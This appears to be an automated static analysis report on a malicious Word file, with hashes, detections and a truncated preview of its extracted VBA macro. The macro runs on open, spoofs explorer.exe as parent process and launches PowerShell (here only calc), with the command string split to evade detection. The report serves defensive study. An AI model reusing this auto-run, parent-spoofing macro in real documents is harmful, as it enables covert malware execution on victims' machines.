Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 99fa3057b73bef77…

MALICIOUS

Office (OOXML)

20.7 KB Created: 2021-07-11 09:14:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-04
MD5: c853351ba28b8e46aa60ee9365b4ba95 SHA-1: 23167b34cb823b01e97b874308a449924db061aa SHA-256: 99fa3057b73bef7759eb00e137fc3ab2f5ab9cfb79c0d598c81211c1097e1c2a
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is a malicious OOXML document containing a VBA project with an AutoOpen macro. This macro is designed to execute automatically when the document is opened, indicating a likely attempt to download and execute a second-stage payload. The presence of VBA macros and the AutoOpen function strongly suggests a phishing attachment attack vector.

Heuristics 4

  • ClamAV: Doc.Malware.Valyria-10015188-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10015188-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4485 bytes
SHA-256: a1423388fc5ed64b58550a7e7ba8fa2a489b0f8306fa2fa6c49bbed5a63ea722
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
    
    Private Declare PtrSafe Function GetProcessHeap Lib "kernel32" () As LongPtr
    
    Private Declare PtrSafe Function CreateProcess Lib "kernel32" Alias "CreateProcessA" ( _
        ByVal lpApplicationName As String, _
        ByVal lpCommandLine As String, _
        lpProcessAttributes As Long, _
        lpThreadAttributes As Long, _
        ByVal bInheritHandles As Long, _
        ByVal dwCreationFlags As Long, _
        lpEnvironment As Any, _
        ByVal lpCurrentDriectory As String, _
        ByVal lpStartupInfo As LongPtr, _
        lpProcessInformation As PROCESS_INFORMATION _
    ) As Long
                                   
    Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _
        ByVal dwAccess As Long, _
        ByVal fInherit As Integer, _
        ByVal hObject As Long _
    ) As LongPtr
     
    Private Declare PtrSafe Function cth32 Lib "kernel32.dll" Alias "CreateToolhelp32Snapshot" ( _
        ByVal dwFlags As Integer, _
        ByVal th32ProcessID As Integer _
    ) As Long
     
    Private Declare PtrSafe Function pp32f Lib "kernel32.dll" Alias "Process32First" ( _
        ByVal hSnapshot As LongPtr, _
        ByRef lppe As PROCESSENTRY32 _
    ) As Long
     
    Private Declare PtrSafe Function pp32n Lib "kernel32.dll" Alias "Process32Next" ( _
        ByVal hSnapshot As LongPtr, _
        ByRef lppe As PROCESSENTRY32 _
    ) As Long
     
    Private Declare PtrSafe Function HeapAlloc Lib "kernel32" ( _
        ByVal hHeap As LongPtr, ByVal dwFlags As Long, _
        ByVal dwBytes As Long _
    ) As LongPtr
    
    Private Declare PtrSafe Function CloseHandle Lib "kernel32" ( _
        ByVal hObject As LongPtr _
    ) As Long
     
    Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
        ByVal lpAttributelist As LongPtr, _
        ByVal dwAttributeCount As Integer, _
        ByVal dwFlags As Integer, _
        ByRef lpSize As Integer _
    ) As Boolean
    
    Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
        ByVal lpAttributelist As LongPtr, _
        ByVal dwFlags As Integer, _
        ByVal lpAttribute As Long, _
        ByRef lpValue As LongPtr, _
        ByVal cbSize As Integer, _
        ByRef lpPreviousValue As Integer, _
        ByRef lpReturnSize As Integer _
    ) As Boolean
    
Public Function gPBN(ByVal ProcName As String) As Integer
    Dim pEt As PROCESSENTRY32


    snapshot = cth32(TH32CS_SNAPPROCESS, ByVal 0&)
    ProcessFound = pp32f(snapshot, pEt)
    
    Do
        If Left$(pEt.szExeFile, Len(ProcName)) = LCase$(ProcName) Then
            gPBN = pEt.th32ProcessID
            PF = False
        Else
            If (pp32n(snp, pEt) = True) Then

End Function
    
Sub AutoOpen()
    Dim pi As PROCESS_INFORMATION
    Dim si As STARTUPINFOEX
    Dim sNull As String
    Dim pid As Integer
    Dim r As Integer
    Dim threadAttribSize As Integer
    Dim strCmdLine As String
      
    #If VBA7 And Win64 Then
        Dim hParent As LongPtr
    #Else
        Dim hParent As Long
    #End If
      
    strCmdLine = "powers"
    strCmdLine = strCmdLine + "hell.exe -c calc"
      
    r = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
    si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
    r = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)
      
    pid = gPBN("explorer.exe")
    hParent = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
    
    r = UpdateProcThreadAttribute(si.lpAttributelist, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, hParent, Len(hParent), ByVal 0&, ByVa
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 22016 bytes
SHA-256: 12dabed1bb30e9671a227d9ebe6e3af5d58d369d220fa2de308bb21dfacb393e
Detection
ClamAV: Doc.Malware.Valyria-10015188-0
Obfuscation or payload: unlikely

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